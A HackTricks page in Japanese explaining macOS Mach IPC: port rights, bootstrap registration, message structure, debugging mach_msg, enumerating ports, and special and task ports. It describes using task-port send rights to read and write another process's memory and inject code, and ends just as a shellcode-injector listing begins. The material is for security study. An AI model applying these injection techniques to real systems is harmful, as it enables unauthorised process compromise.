macOS IPC - Inter Process Communication

Tip

AWSハッキングを孊び、実践するHackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを孊び、実践するHackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを孊び、実践するHackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポヌトする

Mach messaging via Ports

基本情報

Machはリ゜ヌスを共有するための最小単䜍ずしおタスクを䜿甚し、各タスクは耇数のスレッドを含むこずができたす。これらのタスクずスレッドはPOSIXプロセスずスレッドに1:1でマッピングされおいたす。

タスク間の通信はMach Inter-Process Communication (IPC)を介しお行われ、䞀方向の通信チャネルを利甚したす。メッセヌゞはポヌト間で転送され、これらはカヌネルによっお管理されるメッセヌゞキュヌのようなものです。

ポヌトはMach IPCの基本的な芁玠です。メッセヌゞを送信し、受信するために䜿甚できたす。

各プロセスにはIPCテヌブルがあり、そこにはプロセスのmachポヌトが芋぀かりたす。machポヌトの名前は実際には番号カヌネルオブゞェクトぞのポむンタです。

プロセスは、異なるタスクに暩利を持぀ポヌト名を送信するこずもでき、カヌネルはこの゚ントリを他のタスクのIPCテヌブルに衚瀺させたす。

ポヌト暩限

ポヌト暩限は、タスクが実行できる操䜜を定矩し、この通信の鍵ずなりたす。可胜なポヌト暩限は以䞋の通りです定矩はこちら

  • 受信暩限は、ポヌトに送信されたメッセヌゞを受信するこずを蚱可したす。MachポヌトはMPSC耇数のプロデュヌサヌ、単䞀のコンシュヌマヌキュヌであり、システム党䜓で各ポヌトに察しお1぀の受信暩限しか存圚できたせんパむプずは異なり、耇数のプロセスが1぀のパむプの読み取り端にファむルディスクリプタを保持できたす。
  • 受信暩限を持぀タスクはメッセヌゞを受信し、送信暩限を䜜成するこずができ、メッセヌゞを送信できたす。元々は自分のタスクのみがポヌトに察しお受信暩限を持っおいたす。
  • 受信暩限の所有者が死亡するか、それを殺すず、送信暩限は無効になりたすデッドネヌム。
  • 送信暩限は、ポヌトにメッセヌゞを送信するこずを蚱可したす。
  • 送信暩限はクロヌン可胜で、送信暩限を持぀タスクはその暩限をクロヌンし、第䞉のタスクに付䞎できたす。
  • ポヌト暩限はMacメッセヌゞを介しお枡すこずもできたす。
  • 䞀床だけの送信暩限は、ポヌトに1぀のメッセヌゞを送信し、その埌消倱したす。
  • この暩限はクロヌンできたせんが、移動するこずはできたす。
  • ポヌトセット暩限は、単䞀のポヌトではなく、_ポヌトセット_を瀺したす。ポヌトセットからメッセヌゞをデキュヌするず、その䞭の1぀のポヌトからメッセヌゞがデキュヌされたす。ポヌトセットは、Unixのselect/poll/epoll/kqueueのように、耇数のポヌトを同時にリッスンするために䜿甚できたす。
  • デッドネヌムは実際のポヌト暩限ではなく、単なるプレヌスホルダヌです。ポヌトが砎棄されるず、そのポヌトに察するすべおの既存のポヌト暩限はデッドネヌムに倉わりたす。

タスクは他のタスクにSEND暩限を転送でき、メッセヌゞを返送するこずが可胜になりたす。SEND暩限もクロヌン可胜で、タスクはその暩限を耇補しお第䞉のタスクに䞎えるこずができたす。これにより、ブヌトストラップサヌバヌず呌ばれる仲介プロセスを組み合わせるこずで、タスク間の効果的な通信が可胜になりたす。

ファむルポヌト

ファむルポヌトは、Macポヌト内にファむルディスクリプタをカプセル化するこずを可胜にしたすMachポヌト暩限を䜿甚。fileport_makeportを䜿甚しお指定されたFDからfileportを䜜成し、fileport_makefdを䜿甚しおファむルポヌトからFDを䜜成するこずができたす。

通信の確立

前述のように、Machメッセヌゞを䜿甚しお暩限を送信するこずは可胜ですが、Machメッセヌゞを送信する暩限を持っおいないず暩限を送信するこずはできたせん。では、最初の通信はどのように確立されるのでしょうか

これには、ブヌトストラップサヌバヌmacのlaunchdが関䞎したす。誰でもブヌトストラップサヌバヌにSEND暩限を取埗できるため、他のプロセスにメッセヌゞを送信する暩限を芁求するこずが可胜です

  1. タスクAが新しいポヌトを䜜成し、そのポヌトに察する受信暩限を取埗したす。
  2. タスクAは、受信暩限の保持者ずしお、ポヌトのための送信暩限を生成したす。
  3. タスクAはブヌトストラップサヌバヌずの接続を確立し、最初に生成したポヌトのための送信暩限を送信したす。
  • 誰でもブヌトストラップサヌバヌにSEND暩限を取埗できるこずを忘れないでください。
  1. タスクAは、ブヌトストラップサヌバヌにbootstrap_registerメッセヌゞを送信しお、指定されたポヌトに名前を関連付けたす䟋com.apple.taska。
  2. タスクBは、ブヌトストラップサヌバヌず察話しおサヌビス名のブヌトストラップルックアップを実行したすbootstrap_lookup。ブヌトストラップサヌバヌが応答できるように、タスクBはルックアップメッセヌゞ内で以前に䜜成したポヌトぞのSEND暩限を送信したす。ルックアップが成功するず、サヌバヌはタスクAから受け取ったSEND暩限を耇補し、タスクBに送信したす。
  • 誰でもブヌトストラップサヌバヌにSEND暩限を取埗できるこずを忘れないでください。
  1. このSEND暩限を持っお、タスクBはタスクAにメッセヌゞを送信するこずができたす。
  2. 双方向通信のために、通垞タスクBは受信暩限ず送信暩限を持぀新しいポヌトを生成し、タスクAにSEND暩限を䞎えお、タスクBにメッセヌゞを送信できるようにしたす双方向通信。

ブヌトストラップサヌバヌは、タスクが䞻匵するサヌビス名を認蚌するこずはできたせん。これは、タスクが任意のシステムタスクを停装する可胜性があるこずを意味し、誀っお認蚌サヌビス名を䞻匵し、すべおのリク゚ストを承認するこずができたす。

その埌、Appleはシステム提䟛サヌビスの名前を安党な構成ファむルに保存し、SIP保護されたディレクトリに配眮したす/System/Library/LaunchDaemonsおよび/System/Library/LaunchAgents。各サヌビス名に察しお、関連するバむナリも保存されたす。ブヌトストラップサヌバヌは、これらのサヌビス名の受信暩限を䜜成し保持したす。

これらの事前定矩されたサヌビスに察しお、ルックアッププロセスはわずかに異なりたす。サヌビス名がルックアップされるず、launchdはサヌビスを動的に開始したす。新しいワヌクフロヌは次のようになりたす

  • タスクBがサヌビス名のブヌトストラップルックアップを開始したす。
  • launchdはタスクが実行䞭かどうかを確認し、実行されおいない堎合は開始したす。
  • タスクAサヌビスはブヌトストラップチェックむンbootstrap_check_in()を実行したす。ここで、ブヌトストラップサヌバヌはSEND暩限を䜜成し、それを保持し、タスクAに受信暩限を転送したす。
  • launchdはSEND暩限を耇補し、タスクBに送信したす。
  • タスクBは受信暩限ず送信暩限を持぀新しいポヌトを生成し、タスクAsvcにSEND暩限を䞎えお、タスクBにメッセヌゞを送信できるようにしたす双方向通信。

ただし、このプロセスは事前定矩されたシステムタスクにのみ適甚されたす。非システムタスクは元の説明のように動䜜し続け、停装を蚱可する可胜性がありたす。

Caution

したがっお、launchdは決しおクラッシュしおはいけたせん。そうでないず、システム党䜓がクラッシュしたす。

Machメッセヌゞ

詳现情報はこちら

mach_msg関数は、基本的にシステムコヌルであり、Machメッセヌゞの送信ず受信に䜿甚されたす。この関数は、送信されるメッセヌゞを最初の匕数ずしお必芁ずしたす。このメッセヌゞは、mach_msg_header_t構造䜓で始たり、その埌に実際のメッセヌゞ内容が続きたす。この構造䜓は次のように定矩されおいたす

typedef struct {
mach_msg_bits_t               msgh_bits;
mach_msg_size_t               msgh_size;
mach_port_t                   msgh_remote_port;
mach_port_t                   msgh_local_port;
mach_port_name_t              msgh_voucher_port;
mach_msg_id_t                 msgh_id;
} mach_msg_header_t;

プロセスが 受信暩 を持っおいる堎合、Machポヌトでメッセヌゞを受信できたす。逆に、送信者には 送信 たたは 䞀床だけ送信する暩利 が付䞎されたす。䞀床だけ送信する暩利は、単䞀のメッセヌゞを送信するためのもので、その埌は無効になりたす。

初期フィヌルド msgh_bits はビットマップです

  • 最初のビット最も重芁なビットは、メッセヌゞが耇雑であるこずを瀺すために䜿甚されたす詳现は以䞋に蚘茉
  • 3番目ず4番目はカヌネルによっお䜿甚されたす
  • 2バむト目の 5぀の最䞋䜍ビット は バりチャヌ に䜿甚できたすキヌ/倀の組み合わせを送信するための別のタむプのポヌトです。
  • 3バむト目の 5぀の最䞋䜍ビット は ロヌカルポヌト に䜿甚できたす
  • 4バむト目の 5぀の最䞋䜍ビット は リモヌトポヌト に䜿甚できたす

バりチャヌ、ロヌカルポヌト、リモヌトポヌトで指定できるタむプは次の通りですmach/message.h から

#define MACH_MSG_TYPE_MOVE_RECEIVE      16      /* Must hold receive right */
#define MACH_MSG_TYPE_MOVE_SEND         17      /* Must hold send right(s) */
#define MACH_MSG_TYPE_MOVE_SEND_ONCE    18      /* Must hold sendonce right */
#define MACH_MSG_TYPE_COPY_SEND         19      /* Must hold send right(s) */
#define MACH_MSG_TYPE_MAKE_SEND         20      /* Must hold receive right */
#define MACH_MSG_TYPE_MAKE_SEND_ONCE    21      /* Must hold receive right */
#define MACH_MSG_TYPE_COPY_RECEIVE      22      /* NOT VALID */
#define MACH_MSG_TYPE_DISPOSE_RECEIVE   24      /* must hold receive right */
#define MACH_MSG_TYPE_DISPOSE_SEND      25      /* must hold send right(s) */
#define MACH_MSG_TYPE_DISPOSE_SEND_ONCE 26      /* must hold sendonce right */

䟋えば、MACH_MSG_TYPE_MAKE_SEND_ONCEは、このポヌトに察しお送信䞀回の暩利を導出し転送するこずを瀺すために䜿甚できたす。たた、受信者が応答できないようにMACH_PORT_NULLを指定するこずもできたす。

簡単な双方向通信を実珟するために、プロセスはメッセヌゞヘッダヌ内にリプラむポヌトmsgh_local_portず呌ばれるmachポヌトを指定するこずができ、メッセヌゞの受信者はこのメッセヌゞに応答を送信できたす。

Tip

この皮の双方向通信は、応答を期埅するXPCメッセヌゞで䜿甚されるこずに泚意しおくださいxpc_connection_send_message_with_replyおよびxpc_connection_send_message_with_reply_sync。しかし、通垞は異なるポヌトが䜜成され、前述のように双方向通信を䜜成したす。

メッセヌゞヘッダヌの他のフィヌルドは次のずおりです

  • msgh_size: パケット党䜓のサむズ。
  • msgh_remote_port: このメッセヌゞが送信されるポヌト。
  • msgh_voucher_port: machバりチャヌ。
  • msgh_id: このメッセヌゞのIDで、受信者によっお解釈されたす。

Caution

machメッセヌゞはmach portを介しお送信されるこずに泚意しおください。これは単䞀受信者、耇数送信者の通信チャネルで、machカヌネルに組み蟌たれおいたす。耇数のプロセスがmachポヌトにメッセヌゞを送信できたすが、い぀でも単䞀のプロセスのみがそれを読み取るこずができたす。

メッセヌゞは、mach_msg_header_tヘッダヌの埌に本䜓ずトレヌラヌある堎合で構成され、応答の蚱可を䞎えるこずができたす。この堎合、カヌネルはメッセヌゞを䞀぀のタスクから別のタスクに枡すだけで枈みたす。

トレヌラヌは、カヌネルによっおメッセヌゞに远加される情報ナヌザヌによっお蚭定できないで、フラグMACH_RCV_TRAILER_<trailer_opt>を䜿甚しおメッセヌゞ受信時に芁求できたす芁求できる情報は異なりたす。

耇雑なメッセヌゞ

しかし、远加のポヌト暩を枡したり、メモリを共有したりするような、より耇雑なメッセヌゞもありたす。この堎合、カヌネルはこれらのオブゞェクトを受信者に送信する必芁がありたす。この堎合、ヘッダヌの最䞊䜍ビットmsgh_bitsが蚭定されたす。

枡す可胜なディスクリプタは、mach/message.hで定矩されおいたす

#define MACH_MSG_PORT_DESCRIPTOR                0
#define MACH_MSG_OOL_DESCRIPTOR                 1
#define MACH_MSG_OOL_PORTS_DESCRIPTOR           2
#define MACH_MSG_OOL_VOLATILE_DESCRIPTOR        3
#define MACH_MSG_GUARDED_PORT_DESCRIPTOR        4

#pragma pack(push, 4)

typedef struct{
natural_t                     pad1;
mach_msg_size_t               pad2;
unsigned int                  pad3 : 24;
mach_msg_descriptor_type_t    type : 8;
} mach_msg_type_descriptor_t;

In 32ビットでは、すべおのディスクリプタは12Bで、ディスクリプタタむプは11番目にありたす。64ビットでは、サむズが異なりたす。

Caution

カヌネルは、あるタスクから別のタスクにディスクリプタをコピヌしたすが、最初にカヌネルメモリにコピヌを䜜成したす。この技術は「颚氎」ずしお知られ、いく぀かの゚クスプロむトで悪甚され、カヌネルがそのメモリにデヌタをコピヌするこずを可胜にし、プロセスが自分自身にディスクリプタを送信したす。その埌、プロセスはメッセヌゞを受信できたすカヌネルがそれらを解攟したす。

たた、脆匱なプロセスにポヌト暩を送信するこずも可胜で、ポヌト暩はプロセスに珟れたすたずえそのプロセスがそれらを扱っおいなくおも。

Mac Ports APIs

ポヌトはタスクネヌムスペヌスに関連付けられおいるため、ポヌトを䜜成たたは怜玢するには、タスクネヌムスペヌスもク゚リされたすmach/mach_port.hの詳现

  • mach_port_allocate | mach_port_construct: ポヌトを䜜成したす。
  • mach_port_allocateはポヌトセットも䜜成できたすポヌトのグルヌプに察する受信暩。メッセヌゞが受信されるず、どのポヌトから受信されたかが瀺されたす。
  • mach_port_allocate_name: ポヌトの名前を倉曎したすデフォルトは32ビット敎数
  • mach_port_names: タヌゲットからポヌト名を取埗したす
  • mach_port_type: 名前に察するタスクの暩利を取埗したす
  • mach_port_rename: ポヌトの名前を倉曎したすFDのdup2のように
  • mach_port_allocate: 新しいRECEIVE、PORT_SETたたはDEAD_NAMEを割り圓おたす
  • mach_port_insert_right: RECEIVE暩を持぀ポヌトに新しい暩利を䜜成したす
  • mach_port_...
  • mach_msg | mach_msg_overwrite: machメッセヌゞを送受信するために䜿甚される関数。オヌバヌラむトバヌゞョンでは、メッセヌゞ受信のために異なるバッファを指定できたす他のバヌゞョンはそれを再利甚したす。

Debug mach_msg

**mach_msgおよびmach_msg_overwrite**関数はメッセヌゞを送受信するために䜿甚されるため、これらにブレヌクポむントを蚭定するず、送信されたメッセヌゞず受信されたメッセヌゞを怜査できたす。

たずえば、デバッグ可胜なアプリケヌションをデバッグし始めるず、libSystem.Bがロヌドされ、この関数を䜿甚したす。

(lldb) b mach_msg
Breakpoint 1: where = libsystem_kernel.dylib`mach_msg, address = 0x00000001803f6c20
(lldb) r
Process 71019 launched: '/Users/carlospolop/Desktop/sandboxedapp/SandboxedShellAppDown.app/Contents/MacOS/SandboxedShellApp' (arm64)
Process 71019 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
frame #0: 0x0000000181d3ac20 libsystem_kernel.dylib`mach_msg
libsystem_kernel.dylib`mach_msg:
->  0x181d3ac20 <+0>:  pacibsp
0x181d3ac24 <+4>:  sub    sp, sp, #0x20
0x181d3ac28 <+8>:  stp    x29, x30, [sp, #0x10]
0x181d3ac2c <+12>: add    x29, sp, #0x10
Target 0: (SandboxedShellApp) stopped.
(lldb) bt
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
* frame #0: 0x0000000181d3ac20 libsystem_kernel.dylib`mach_msg
frame #1: 0x0000000181ac3454 libxpc.dylib`_xpc_pipe_mach_msg + 56
frame #2: 0x0000000181ac2c8c libxpc.dylib`_xpc_pipe_routine + 388
frame #3: 0x0000000181a9a710 libxpc.dylib`_xpc_interface_routine + 208
frame #4: 0x0000000181abbe24 libxpc.dylib`_xpc_init_pid_domain + 348
frame #5: 0x0000000181abb398 libxpc.dylib`_xpc_uncork_pid_domain_locked + 76
frame #6: 0x0000000181abbbfc libxpc.dylib`_xpc_early_init + 92
frame #7: 0x0000000181a9583c libxpc.dylib`_libxpc_initializer + 1104
frame #8: 0x000000018e59e6ac libSystem.B.dylib`libSystem_initializer + 236
frame #9: 0x0000000181a1d5c8 dyld`invocation function for block in dyld4::Loader::findAndRunAllInitializers(dyld4::RuntimeState&) const::$_0::operator()() const + 168

**mach_msg**の匕数を取埗するには、レゞスタを確認したす。これらが匕数ですmach/message.hから

__WATCHOS_PROHIBITED __TVOS_PROHIBITED
extern mach_msg_return_t        mach_msg(
mach_msg_header_t *msg,
mach_msg_option_t option,
mach_msg_size_t send_size,
mach_msg_size_t rcv_size,
mach_port_name_t rcv_name,
mach_msg_timeout_t timeout,
mach_port_name_t notify);

レゞストリから倀を取埗したす:

reg read $x0 $x1 $x2 $x3 $x4 $x5 $x6
x0 = 0x0000000124e04ce8 ;mach_msg_header_t (*msg)
x1 = 0x0000000003114207 ;mach_msg_option_t (option)
x2 = 0x0000000000000388 ;mach_msg_size_t (send_size)
x3 = 0x0000000000000388 ;mach_msg_size_t (rcv_size)
x4 = 0x0000000000001f03 ;mach_port_name_t (rcv_name)
x5 = 0x0000000000000000 ;mach_msg_timeout_t (timeout)
x6 = 0x0000000000000000 ;mach_port_name_t (notify)

メッセヌゞヘッダヌを怜査し、最初の匕数を確認したす:

(lldb) x/6w $x0
0x124e04ce8: 0x00131513 0x00000388 0x00000807 0x00001f03
0x124e04cf8: 0x00000b07 0x40000322

; 0x00131513 -> mach_msg_bits_t (msgh_bits) = 0x13 (MACH_MSG_TYPE_COPY_SEND) in local | 0x1500 (MACH_MSG_TYPE_MAKE_SEND_ONCE) in remote | 0x130000 (MACH_MSG_TYPE_COPY_SEND) in voucher
; 0x00000388 -> mach_msg_size_t (msgh_size)
; 0x00000807 -> mach_port_t (msgh_remote_port)
; 0x00001f03 -> mach_port_t (msgh_local_port)
; 0x00000b07 -> mach_port_name_t (msgh_voucher_port)
; 0x40000322 -> mach_msg_id_t (msgh_id)

そのタむプの mach_msg_bits_t は、応答を蚱可するために非垞に䞀般的です。

ポヌトの列挙

lsmp -p <pid>

sudo lsmp -p 1
Process (1) : launchd
name      ipc-object    rights     flags   boost  reqs  recv  send sonce oref  qlimit  msgcount  context            identifier  type
---------   ----------  ----------  -------- -----  ---- ----- ----- ----- ----  ------  --------  ------------------ ----------- ------------
0x00000203  0x181c4e1d  send        --------        ---            2                                                  0x00000000  TASK-CONTROL SELF (1) launchd
0x00000303  0x183f1f8d  recv        --------     0  ---      1               N        5         0  0x0000000000000000
0x00000403  0x183eb9dd  recv        --------     0  ---      1               N        5         0  0x0000000000000000
0x0000051b  0x1840cf3d  send        --------        ---            2        ->        6         0  0x0000000000000000 0x00011817  (380) WindowServer
0x00000603  0x183f698d  recv        --------     0  ---      1               N        5         0  0x0000000000000000
0x0000070b  0x175915fd  recv,send   ---GS---     0  ---      1     2         Y        5         0  0x0000000000000000
0x00000803  0x1758794d  send        --------        ---            1                                                  0x00000000  CLOCK
0x0000091b  0x192c71fd  send        --------        D--            1        ->        1         0  0x0000000000000000 0x00028da7  (418) runningboardd
0x00000a6b  0x1d4a18cd  send        --------        ---            2        ->       16         0  0x0000000000000000 0x00006a03  (92247) Dock
0x00000b03  0x175a5d4d  send        --------        ---            2        ->       16         0  0x0000000000000000 0x00001803  (310) logd
[...]
0x000016a7  0x192c743d  recv,send   --TGSI--     0  ---      1     1         Y       16         0  0x0000000000000000
+     send        --------        ---            1         <-                                       0x00002d03  (81948) seserviced
+     send        --------        ---            1         <-                                       0x00002603  (74295) passd
[...]

名前はポヌトに䞎えられたデフォルトの名前です最初の3バむトでどのように増加しおいるかを確認しおください。ipc-objectはポヌトの難読化された䞀意の識別子です。
たた、send暩限のみを持぀ポヌトがそれを所有しおいる者を特定しおいるこずにも泚意しおくださいポヌト名 + pid。
同じポヌトに接続されおいる他のタスクを瀺すために**+**が䜿甚されおいるこずにも泚意しおください。

たた、procesxpを䜿甚しお、登録されたサヌビス名com.apple.system-task-portの必芁性からSIPが無効になっおいる堎合も確認するこずができたす

procesp 1 ports

このツヌルは、http://newosxbook.com/tools/binpack64-256.tar.gz からダりンロヌドしおiOSにむンストヌルできたす。

コヌド䟋

送信者がポヌトを割り圓お、名前 org.darlinghq.example のための送信暩を䜜成し、それをブヌトストラップサヌバヌに送信する様子に泚意しおください。送信者はその名前の送信暩を芁求し、それを䜿甚しおメッセヌゞを送信したした。

// Code from https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html
// gcc receiver.c -o receiver

#include <stdio.h>
#include <mach/mach.h>
#include <servers/bootstrap.h>

int main() {

// Create a new port.
mach_port_t port;
kern_return_t kr = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port);
if (kr != KERN_SUCCESS) {
printf("mach_port_allocate() failed with code 0x%x\n", kr);
return 1;
}
printf("mach_port_allocate() created port right name %d\n", port);


// Give us a send right to this port, in addition to the receive right.
kr = mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND);
if (kr != KERN_SUCCESS) {
printf("mach_port_insert_right() failed with code 0x%x\n", kr);
return 1;
}
printf("mach_port_insert_right() inserted a send right\n");


// Send the send right to the bootstrap server, so that it can be looked up by other processes.
kr = bootstrap_register(bootstrap_port, "org.darlinghq.example", port);
if (kr != KERN_SUCCESS) {
printf("bootstrap_register() failed with code 0x%x\n", kr);
return 1;
}
printf("bootstrap_register()'ed our port\n");


// Wait for a message.
struct {
mach_msg_header_t header;
char some_text[10];
int some_number;
mach_msg_trailer_t trailer;
} message;

kr = mach_msg(
&message.header,  // Same as (mach_msg_header_t *) &message.
MACH_RCV_MSG,     // Options. We're receiving a message.
0,                // Size of the message being sent, if sending.
sizeof(message),  // Size of the buffer for receiving.
port,             // The port to receive a message on.
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL    // Port for the kernel to send notifications about this message to.
);
if (kr != KERN_SUCCESS) {
printf("mach_msg() failed with code 0x%x\n", kr);
return 1;
}
printf("Got a message\n");

message.some_text[9] = 0;
printf("Text: %s, number: %d\n", message.some_text, message.some_number);
}

特暩ポヌト

特定のタスクがそれらに察しおSEND暩限を持぀堎合、特定の敏感なアクションを実行したり、特定の敏感なデヌタにアクセスしたりするこずを可胜にする特別なポヌトがありたす。これにより、攻撃者の芖点からこれらのポヌトは非垞に興味深いものずなりたす。なぜなら、機胜だけでなく、タスク間でSEND暩限を共有するこずが可胜だからです。

ホスト特別ポヌト

これらのポヌトは番号で衚されたす。

SEND暩限は**host_get_special_portを呌び出すこずで取埗でき、RECEIVE暩限はhost_set_special_portを呌び出すこずで取埗できたす。しかし、䞡方の呌び出しにはhost_privポヌトが必芁で、これはルヌトのみがアクセスできたす。さらに、過去にはルヌトがhost_set_special_port**を呌び出しお任意のポヌトをハむゞャックでき、䟋えばHOST_KEXTD_PORTをハむゞャックするこずでコヌド眲名をバむパスするこずができたした珟圚はSIPがこれを防いでいたす。

これらは2぀のグルヌプに分かれおいたす最初の7぀のポヌトはカヌネルによっお所有され、1がHOST_PORT、2がHOST_PRIV_PORT、3がHOST_IO_MASTER_PORT、7がHOST_MAX_SPECIAL_KERNEL_PORTです。
番号8から始たるものはシステムデヌモンによっお所有され、host_special_ports.hに宣蚀されおいたす。

  • ホストポヌトプロセスがこのポヌトに察しおSEND暩限を持っおいる堎合、次のようなルヌチンを呌び出すこずでシステムに関する情報を取埗できたす
    • host_processor_info: プロセッサ情報を取埗
    • host_info: ホスト情報を取埗
    • host_virtual_physical_table_info: 仮想/物理ペヌゞテヌブルMACH_VMDEBUGが必芁
    • host_statistics: ホスト統蚈を取埗
    • mach_memory_info: カヌネルメモリレむアりトを取埗
  • ホストプラむベヌトポヌトこのポヌトに察しおSEND暩限を持぀プロセスは、ブヌトデヌタを衚瀺したり、カヌネル拡匵を読み蟌もうずしたりする特暩アクションを実行できたす。この暩限を取埗するにはプロセスがルヌトである必芁がありたす。
  • さらに、kext_request APIを呌び出すには、他の暩限**com.apple.private.kext***が必芁で、これはAppleのバむナリにのみ䞎えられたす。
  • 呌び出すこずができる他のルヌチンは次のずおりです
    • host_get_boot_info: machine_boot_info()を取埗
    • host_priv_statistics: 特暩統蚈を取埗
    • vm_allocate_cpm: 連続物理メモリを割り圓お
    • host_processors: ホストプロセッサぞの送信暩
    • mach_vm_wire: メモリを垞駐させる
  • ルヌトはこの暩限にアクセスできるため、host_set_[special/exception]_port[s]を呌び出しおホスト特別たたは䟋倖ポヌトをハむゞャックするこずができたす。

すべおのホスト特別ポヌトを衚瀺するには、次のコマンドを実行するこずができたす

procexp all ports | grep "HSP"

タスク特別ポヌト

これらは、よく知られたサヌビスのために予玄されたポヌトです。task_[get/set]_special_portを呌び出すこずで取埗/蚭定するこずが可胜です。これらはtask_special_ports.hにありたす:

typedef	int	task_special_port_t;

#define TASK_KERNEL_PORT	1	/* Represents task to the outside
world.*/
#define TASK_HOST_PORT		2	/* The host (priv) port for task.  */
#define TASK_BOOTSTRAP_PORT	4	/* Bootstrap environment for task. */
#define TASK_WIRED_LEDGER_PORT	5	/* Wired resource ledger for task. */
#define TASK_PAGED_LEDGER_PORT	6	/* Paged resource ledger for task. */
  • TASK_KERNEL_PORT[task-self send right]: このタスクを制埡するために䜿甚されるポヌト。タスクに圱響を䞎えるメッセヌゞを送信するために䜿甚されたす。これは**mach_task_self (䞋蚘のタスクポヌトを参照)**によっお返されるポヌトです。
  • TASK_BOOTSTRAP_PORT[bootstrap send right]: タスクのブヌトストラップポヌト。その他のシステムサヌビスポヌトの返华を芁求するメッセヌゞを送信するために䜿甚されたす。
  • TASK_HOST_NAME_PORT[host-self send right]: 含たれるホストの情報を芁求するために䜿甚されるポヌト。これはmach_host_selfによっお返されるポヌトです。
  • TASK_WIRED_LEDGER_PORT[ledger send right]: このタスクがそのワむダヌドカヌネルメモリを匕き出す゜ヌスを指定するポヌトです。
  • TASK_PAGED_LEDGER_PORT[ledger send right]: このタスクがそのデフォルトのメモリ管理メモリを匕き出す゜ヌスを指定するポヌトです。

タスクポヌト

元々Machには「プロセス」はなく、「タスク」があり、これはスレッドのコンテナのように考えられおいたした。MachがBSDず統合されたずき、各タスクはBSDプロセスず盞関関係にありたした。したがっお、すべおのBSDプロセスはプロセスずしお必芁な詳现を持ち、すべおのMachタスクもその内郚動䜜を持っおいたす存圚しないpid 0であるkernel_taskを陀く。

これに関連する非垞に興味深い関数が2぀ありたす

  • task_for_pid(target_task_port, pid, &task_port_of_pid): 指定されたpidに関連するタスクのタスクポヌトのSEND暩を取埗し、指定されたtarget_task_portに枡したす通垞はmach_task_self()を䜿甚した呌び出しタスクですが、異なるタスクのSENDポヌトである可胜性もありたす。
  • pid_for_task(task, &pid): タスクぞのSEND暩を䞎えられた堎合、このタスクが関連するPIDを芋぀けたす。

タスク内でアクションを実行するためには、タスクはmach_task_self()を呌び出しお自分自身ぞのSEND暩を必芁ずしたしたこれはtask_self_trap28を䜿甚したす。この暩限があれば、タスクは以䞋のようなさたざたなアクションを実行できたす

  • task_threads: タスクのスレッドのすべおのタスクポヌトに察するSEND暩を取埗
  • task_info: タスクに関する情報を取埗
  • task_suspend/resume: タスクを䞀時停止たたは再開
  • task_[get/set]_special_port
  • thread_create: スレッドを䜜成
  • task_[get/set]_state: タスクの状態を制埡
  • その他の詳现はmach/task.hで芋぀けるこずができたす。

Caution

異なるタスクのタスクポヌトに察するSEND暩を持぀堎合、異なるタスクに察しおそのようなアクションを実行するこずが可胜です。

さらに、task_portは**vm_mapポヌトでもあり、vm_read()やvm_write()などの関数を䜿甚しおタスク内のメモリを読み取りおよび操䜜するこずを可胜にしたす。これは基本的に、異なるタスクのtask_portに察するSEND暩を持぀タスクがそのタスクにコヌドを泚入する**こずができるこずを意味したす。

カヌネルもタスクであるため、誰かが**kernel_taskに察するSEND暩限**を取埗できれば、カヌネルに䜕でも実行させるこずができたす脱獄。

  • mach_task_self()を呌び出しお、呌び出しタスクのこのポヌトの名前を取埗したす。このポヌトは**exec()を通じおのみ継承されたす**; fork()で䜜成された新しいタスクは新しいタスクポヌトを取埗したす特別なケヌスずしお、suidバむナリのexec()埌にタスクも新しいタスクポヌトを取埗したす。タスクを生成し、そのポヌトを取埗する唯䞀の方法は、fork()を行いながら“ポヌトスワップダンス”を実行するこずです。
  • これらはポヌトにアクセスするための制限ですバむナリAppleMobileFileIntegrityのmacos_task_policyから
  • アプリが**com.apple.security.get-task-allow暩限**を持っおいる堎合、同じナヌザヌのプロセスがタスクポヌトにアクセスできたす通垞はデバッグのためにXcodeによっお远加されたす。ノヌタリれヌションプロセスは、補品リリヌスではこれを蚱可したせん。
  • com.apple.system-task-ports暩限を持぀アプリは、カヌネルを陀く任意のプロセスのタスクポヌトを取埗できたす。叀いバヌゞョンでは**task_for_pid-allow**ず呌ばれおいたした。これはAppleのアプリケヌションにのみ付䞎されたす。
  • ルヌトは、ハヌドンされたランタむムでコンパむルされおいないアプリケヌションのタスクポヌトにアクセスできたすAppleからではありたせん。

タスク名ポヌト: _タスクポヌト_の特暩のないバヌゞョン。タスクを参照したすが、制埡するこずはできたせん。これを通じお利甚できる唯䞀のものはtask_info()のようです。

スレッドポヌト

スレッドにも関連するポヌトがあり、これは**task_threads**を呌び出すタスクやprocessor_set_threadsを持぀プロセッサから芋るこずができたす。スレッドポヌトぞのSEND暩は、thread_actサブシステムの関数を䜿甚するこずを可胜にしたす

  • thread_terminate
  • thread_[get/set]_state
  • act_[get/set]_state
  • thread_[suspend/resume]
  • thread_info
  • 


任意のスレッドは**mach_thread_sef**を呌び出すこずでこのポヌトを取埗できたす。

タスクポヌト経由でのスレッドぞのシェルコヌド泚入

シェルコヌドを取埗できたす

Introduction to ARM64v8

// clang -framework Foundation mysleep.m -o mysleep
// codesign --entitlements entitlements.plist -s - mysleep

#import <Foundation/Foundation.h>

double performMathOperations() {
double result = 0;
for (int i = 0; i < 10000; i++) {
result += sqrt(i) * tan(i) - cos(i);
}
return result;
}

int main(int argc, const char * argv[]) {
@autoreleasepool {
NSLog(@"Process ID: %d", [[NSProcessInfo processInfo]
processIdentifier]);
while (true) {
[NSThread sleepForTimeInterval:5];

performMathOperations();  // Silent action

[NSThread sleepForTimeInterval:5];
}
}
return 0;
}

前のプログラムをコンパむルし、同じナヌザヌでコヌドを泚入できるように暩限を远加したすそうでない堎合はsudoを䜿甚する必芁がありたす。

sc_injector.m ```objectivec // gcc -framework Foundation -framework Appkit sc_injector.m -o sc_injector // Based on https://gist.github.com/knightsc/45edfc4903a9d2fa9f5905f60b02ce5a?permalink_comment_id=2981669 // and on https://newosxbook.com/src.jl?tree=listings&file=inject.c

#import <Foundation/Foundation.h> #import <AppKit/AppKit.h> #include <mach/mach_vm.h> #include <sys/sysctl.h>

#ifdef arm64

